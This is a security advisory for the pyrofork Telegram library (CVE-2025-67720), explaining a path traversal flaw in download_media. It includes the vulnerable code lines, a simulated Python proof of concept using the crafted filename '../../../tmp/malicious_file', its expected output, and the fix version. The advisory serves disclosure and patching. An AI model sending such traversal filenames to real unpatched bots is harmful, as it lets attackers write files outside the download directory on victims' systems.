pyrofork
Affected
- introduced
0, fixed2.3.69(ecosystem)
Fixed versions
2.3.69
Fix
- Fixed version
2.3.69pip install --upgrade pyrofork==2.3.69
Advisory
Also known as: CVE-2025-67720, GHSA-6h2f-wjhf-4wjx
Pyrofork has a Path Traversal in download_media Method
Summary
The download_media method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., ../) or absolute paths in the filename.
---
Details
When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the file_name attribute from the media object. This attribute originates from Telegram's DocumentAttributeFilename and is controlled by the message sender.
Vulnerable Code Path
Step 1: In pyrogram/methods/messages/download_media.py (lines 145-151):
media_file_name = getattr(media, "file_name", "") # Value from Telegram message
directory, file_name = os.path.split(file_name) # Split user's path parameter
file_name = file_name or media_file_name or "" # Falls back to media_file_name if empty
When a user calls download_media(message) or download_media(message, "downloads/"), the os.path.split() returns an empty filename, causing the code to use media_file_name which is attacker-controlled.
Step 2: In pyrogram/client.py (line 1125):
temp_file_path = os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) + ".temp"
The os.path.join() function does not prevent path traversal. When file_name contains ../ sequences or is an absolute path, it allows writing outside the intended download directory.
Why the existing isabs check is insufficient
The check at line 153 in download_media.py:
if not os.path.isabs(file_name):
directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)
This check only handles absolute paths by skipping the directory prefix, but:
../, os.path.isabs() returns False, so the check doesn't catch itos.path.join() in the next step will still use the absolute path directly---
PoC
The following Python script demonstrates the vulnerability by simulating the exact code logic from download_media.py and client.py:
#!/usr/bin/env python3
"""
Path Traversal PoC for Pyrofork download_media
Demonstrates CWE-22 vulnerability in filename handling
"""
import os
import shutil
import tempfile
from pathlib import Path
from dataclasses import dataclass
@dataclass
class MockDocument:
"""Simulates a Telegram Document with attacker-controlled file_name"""
file_id: str
file_name: str # Attacker-controlled!
@dataclass
class MockMessage:
"""Simulates a Telegram Message"""
document: MockDocument
DEFAULT_DOWNLOAD_DIR = "downloads/"
def vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):
"""
Simulates the vulnerable logic from:
- pyrogram/methods/messages/download_media.py (lines 145-154)
- pyrogram/client.py (line 1125)
"""
media = message.document
media_file_name = getattr(media, "file_name", "")
# Line 150-151: Split and fallback
directory, file_name = os.path.split(file_name)
file_name = file_name or media_file_name or ""
# Line 153-154: isabs check (insufficient!)
if not os.path.isabs(file_name):
directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)
if not file_name:
file_name = "generated_file.bin"
# Line 1125 in client.py: Path construction
import re
temp_file_path = os.path.abspath(
re.sub("\\\\", "/", os.path.join(str(directory), file_name))
) + ".temp"
return temp_file_path
def run_poc():
print("=" * 60)
print("PYROFORK PATH TRAVERSAL PoC")
print("=" * 60)
with tempfile.TemporaryDirectory() as temp_base:
parent_dir = Path(temp_base)
expected_dir = str(parent_dir / "downloads")
print(f"\n[*] Bot working directory: {parent_dir}")
print(f"[*] Expected download dir: {expected_dir}")
# Attack: Path traversal with ../
print("\n" + "-" * 60)
print("TEST: Path Traversal Attack")
print("-" * 60)
malicious_msg = MockMessage(
document=MockDocument(
file_id="test_id",
file_name="../../../tmp/malicious_file"
)
)
result_path = vulnerable_download_media(
parent_dir=parent_dir,
message=malicious_msg,
file_name="downloads/"
)
# Remove .temp suffix for final path
final_path = os.path.splitext(result_path)[0]
print(f"[*] Malicious filename: ../../../tmp/malicious_file")
print(f"[*] Resulting path: {final_path}")
if not final_path.startswith(expected_dir):
print(f"\n[!] VULNERABILITY CONFIRMED")
print(f"[!] File path escapes intended directory!")
print(f"[!] Expected: {expected_dir}/...")
print(f"[!] Actual: {final_path}")
else:
print("[*] Path is within expected directory")
if __name__ == "__main__":
run_poc()
How to Run
Save the above script and run:
python3 poc_script.py
Expected Output
============================================================
PYROFORK PATH TRAVERSAL PoC
============================================================
[*] Bot working directory: /tmp/tmpXXXXXX
[*] Expected download dir: /tmp/tmpXXXXXX/downloads
------------------------------------------------------------
TEST: Path Traversal Attack
------------------------------------------------------------
[*] Malicious filename: ../../../tmp/malicious_file
[*] Resulting path: /tmp/malicious_file
[!] VULNERABILITY CONFIRMED
[!] File path escapes intended directory!
[!] Expected: /tmp/tmpXXXXXX/downloads/...
[!] Actual: /tmp/malicious_file
Why This Proves the Vulnerability
download_media.py and client.py../../../tmp/malicious_file causes the path to escape from /tmp/tmpXXX/downloads/ to /tmp/malicious_fileos.path.join() and os.path.abspath() behavior is deterministic - this will work the same way in the real library---
Impact
Who is affected?
await client.download_media(message) is affectedConditions required for exploitation
Potential consequences
Medium Basis: CVSS v3 score 6.5, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
0, fixed 2.3.69 (ecosystem)2.3.69
2.3.69pip install --upgrade pyrofork==2.3.69Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0